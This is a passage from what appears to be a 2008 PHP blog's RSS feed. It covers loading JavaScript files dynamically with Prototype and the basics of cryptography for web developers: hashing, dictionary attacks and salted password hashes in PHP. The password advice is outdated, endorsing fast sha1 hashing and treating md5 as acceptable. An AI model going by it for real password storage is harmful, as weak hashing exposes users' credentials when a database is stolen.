&lt;pre&gt;&lt;span class=&quot;hl-code&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&amp;gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;loadJs&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;Element&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;  : &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;,&lt;br /&gt;            &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; : &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;})&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;        &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;Prototype&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;Browser&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;IE&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;                &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;Event&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;observe&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;readystatechange&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;                    &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;readyState&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; == &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;loading&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;                        &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;                    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;                &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;                &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;Event&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;observe&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt; &lt;br /&gt;        $$&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;hl-number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;script&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The following code shows an example of loading a file called &lt;code&gt;scripts.js&lt;/code&gt;, in which a function called &lt;code&gt;myFunction()&lt;/code&gt; is defined. This function is not available until the &lt;code&gt;scripts.js&lt;/code&gt; file is loaded.&lt;/p&gt;
&lt;p&gt;The script DOM element is passed as the first and only argument to the callback function.&lt;/p&gt;
&lt;div class=&quot;listing&quot;&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;div class=&quot;hl-main&quot;&gt;
&lt;pre&gt;&lt;span class=&quot;hl-code&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&amp;gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;loadJs&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;/path/to/scripts.js&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;myFunction&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;})&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;script&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Alternatively, you could define the callback function separately, as in the following:&lt;/p&gt;
&lt;div class=&quot;listing&quot;&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;div class=&quot;hl-main&quot;&gt;
&lt;pre&gt;&lt;span class=&quot;hl-code&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&amp;gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;onScriptLoaded&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;myFunction&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;loadJs&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;/path/to/scripts.js&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;onScriptLoaded&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;script&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This function begins by creating the new DOM element (without yet adding it to the DOM). These four lines would be the equivalent to the HTML &lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;/path/to/file.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next we check whether or not a callback function has been defined (since it is optional). If the function is defined, we then check whether or not the browser is Internet Explorer.&lt;/p&gt;
&lt;p&gt;If the browser is Internet Explorer, we observe the &lt;code&gt;onreadystatechange&lt;/code&gt; event. This event is triggered when the file starts to load and when it has completed loading. Obviously we are only interested in when it has completed, so we check the &lt;code&gt;readyState&lt;/code&gt; property.&lt;/p&gt;
&lt;p&gt;For all other browsers we simply observe the &lt;code&gt;onload&lt;/code&gt; event, which is fired only when the file has completed loading (as well as if the file is already in the browser cache).&lt;/p&gt;
&lt;p&gt;In both cases, the Prototype &lt;code&gt;bind()&lt;/code&gt; method is called in order to bind the script element to the callback. This means that when you refer to &lt;code&gt;this&lt;/code&gt; in the callback, it refers to the script element.&lt;/p&gt;
&lt;p&gt;Finally, the element is inserted into the DOM. This is done by inserting it into the head of the HTML document (retrieved using the Prototype $$() method.&lt;/p&gt;
&lt;p&gt;The element should be inserted into the DOM as the final step since if it's done before observing the events, the events may be fired immediately if the file is already in the browser cache.&lt;/p&gt;</description>
								         <pubDate>Tue, 16 Sep 2008 09:35:41 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/24/Dynamically-Loading-JavaScript-Files---by-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Cryptography for web developers - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/23/Cryptography-for-web-developers---By-PHP-Expert</link>
								         <description>&lt;p&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;Word.Document&quot; name=&quot;ProgId&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Generator&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Originator&quot; /&gt;
&lt;link href=&quot;file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; rel=&quot;File-List&quot; /&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
h1
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	mso-outline-level:1;
	font-size:24.0pt;
	font-family:&quot;Times New Roman&quot;;
	font-weight:bold;}
h2
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	mso-outline-level:2;
	font-size:18.0pt;
	font-family:&quot;Times New Roman&quot;;
	font-weight:bold;}
h3
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	mso-outline-level:3;
	font-size:13.5pt;
	font-family:&quot;Times New Roman&quot;;
	font-weight:bold;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
pre
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
	font-size:10.0pt;
	font-family:&quot;Courier New&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;Cryptography is for most web developers like a vast and endless ocean of intimidating un-absorb-able information. Which is sad, since cryptography is so useful and in many situations absolutely necessary. I will not even try to explain why, since I consider developers that don't care about the security, and integrity of their end users a lost case.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Secret communication&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To pass a secret message from a sender to a recipient, the message should be encrypted before it is sent, and decrypted in the other end. The encryption/decryption is done using &amp;quot;keys&amp;quot;. A key is basically a few more or less random bytes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A single key&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the most simple case, a single key is used for both encryption and decryption. This creates a problem, since the key has to be passed around to whomever might need to read the message. That creates a greater risk of the wrong persons to get access to the key.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Public/private key pairs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;By exploiting some weird mathematical properties of prime numbers, the concept of public/private key pairs was developed. The idea is to use one key for the encryption of a message, and another key for the decryption. Let's call them A and B. Those keys always comes in pairs, and are selected carefully to match each other. When a message is encrypted with key A, the message can only be decrypted with key B, and vice-versa.&lt;/p&gt;
&lt;p&gt;As the name implies, a public/private key pair is divided into a public key and a private key. The private key is kept strictly secret by it's owner. The public key, on the other hand, is openly shared with anyone who might want it. When someone wants to send a secret message, they would therefore encrypt the message with the recipients public key. The message is then only accessible with the private key from the same pair, which means only the intended recipient can decrypt it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pretty good authentication&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's say someone is sending a message where it is very important that the receiver can be sure it comes from the expected sender. The sender can then &amp;quot;sign&amp;quot; the message by encrypting it with his private key. The recipient will then decrypt the message using the senders public key. If the decryption is successful, the recipient can be sure that the message was indeed encrypted with the senders private key, and therefore has not been altered after it was signed by the sender.&lt;/p&gt;
&lt;p&gt;An interesting property of this kind of encryption is that a message can be encrypted with any number of keys and later decrypted, regardless of in which order the keys are applied. This means a message can be both signed with the senders private key, and encrypted with the recipients public key, or signed by several different persons, or encrypted with multiple keys, or encrypted and signed in any imaginable combination.&lt;/p&gt;
&lt;p&gt;Public/private key pairs are implemented by SSL which is commonly used by the HTTPS protocol, and by PGP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Easy stuff&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This article is intended for web developers, and as such we rarely have much use for public/private key pairs. But don't despair! There is another class of much simpler one-way encryption you can start using today.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Digestion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The concept of digestion focuses on reducing any stream of data do a fixed size, unintelligible but deterministic &amp;quot;hash&amp;quot;. There are a number of algorithms that do this. Their goal is to produce a hash that is as unpredictable as possible, with regards to the original input. In other words, given the hash, it should be as difficult as possible to find the original input.&lt;/p&gt;
&lt;p&gt;With a perfect digestion algorithm there should be no other way to find the original input, than a simple brute force search, where you feed the digestion algorithm different input values until a matching hash is found. With long enough hashes, that could easily take thousands of years even on the worlds fastest supercomputers.&lt;/p&gt;
&lt;p&gt;Two commonly used algorithms:&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;md5&lt;/p&gt;
&lt;p style=&quot;margin-left: 0.5in;&quot; class=&quot;MsoNormal&quot;&gt;This is a very commonly used algorithm. It has a number of flaws that makes it easier than it should be to calculate the original input.&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;sha1&lt;/p&gt;
&lt;p style=&quot;margin-left: 0.5in;&quot; class=&quot;MsoNormal&quot;&gt;A much better algorithm. It is not flawless, but it is generally easy to find an implementation for your favorite programming language. (I found one written in JavaScript!) It should be &amp;quot;good enough&amp;quot;, since it is used by SSH, SSL and PGP.&lt;/p&gt;
&lt;p&gt;There are many other stronger digestion algorithms, so you might want to put some more research into this, to find out which ones are available for your current programming environment.&lt;/p&gt;
&lt;p&gt;Just remember that even md5 is infinitely better than nothing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Passwords&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The hash of a password (or any other data) is usually thought of as the fingerprint of that password. Any two distinct passwords should always give different hashes. This is of course impossible to guarantee, since there might be more possible passwords than there are possible hash values. However, finding two distinct passwords with the same hash is extremely unlikely.&lt;/p&gt;
&lt;p&gt;To protect the integrity of your end users, it is wise to never store any passwords in plain text, but to digest them into a hash before they are stored. When the user enter his password, it is therefore not compared to a password stored in the database, but digested into a hash and compared to the stored hash. This means that if the hashes match, we can be sure the original passwords also match.&lt;/p&gt;
&lt;p&gt;Plain wrong:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;if($EnteredPassword == $StoredPassword)&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;LogIn();&lt;/pre&gt;
&lt;pre&gt;?&amp;gt;&lt;/pre&gt;
&lt;p&gt;Slightly better:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;if(sha1($EnteredPassword) == $StoredHash)&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;LogIn();&lt;/pre&gt;
&lt;pre&gt;?&amp;gt;&lt;/pre&gt;
&lt;p&gt;Since you no longer store any actual plain text passwords in you database, you can worry a bit less about what would happen to the passwords if your server gets hacked, or stolen or abducted by aliens. But are the passwords really safe now? Not really.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dictionary attacks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's assume the unthinkable happens and your database gets stolen. The thief don't have the actual passwords in there, so he can't simply read the username/password and log in. Let's also assume that you used some super efficient hashing algorithm forcing the thief to test potential passwords one by one until a matching hash is found.&lt;/p&gt;
&lt;p&gt;What does this mean? If all users had chosen strong random passwords, they would be fine, but this is not a fairy tale, so they haven't. The passwords are full of &amp;quot;steve123&amp;quot;, &amp;quot;password&amp;quot; and obscenities. Trust me, I've worked with passwords stored in plain text (my client made me do it), and I've seen it all. This means that the thief can take a dictionary of common words, digest it word-by-word into a dictionary of hashes and start comparing it to the stolen hashes. He will easily find lots of matches. He might even just do a &lt;font color=&quot;#000000&quot;&gt;&lt;a href=&quot;http://www.lightbluetouchpaper.org/2007/11/16/google-as-a-password-cracker/&quot;&gt;Google search&lt;/a&gt;&lt;/font&gt; for the hash and find it listed together with the original password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enter password salt&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A password salt is a random string that is unique for each user. It is stored in plain text, but instead of the password hash, we now store the hash of the password + the salt.&lt;/p&gt;
&lt;p&gt;Much better:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;if(sha1($EnteredPassword . $StoredSalt) == $StoredHash)&lt;/pre&gt;
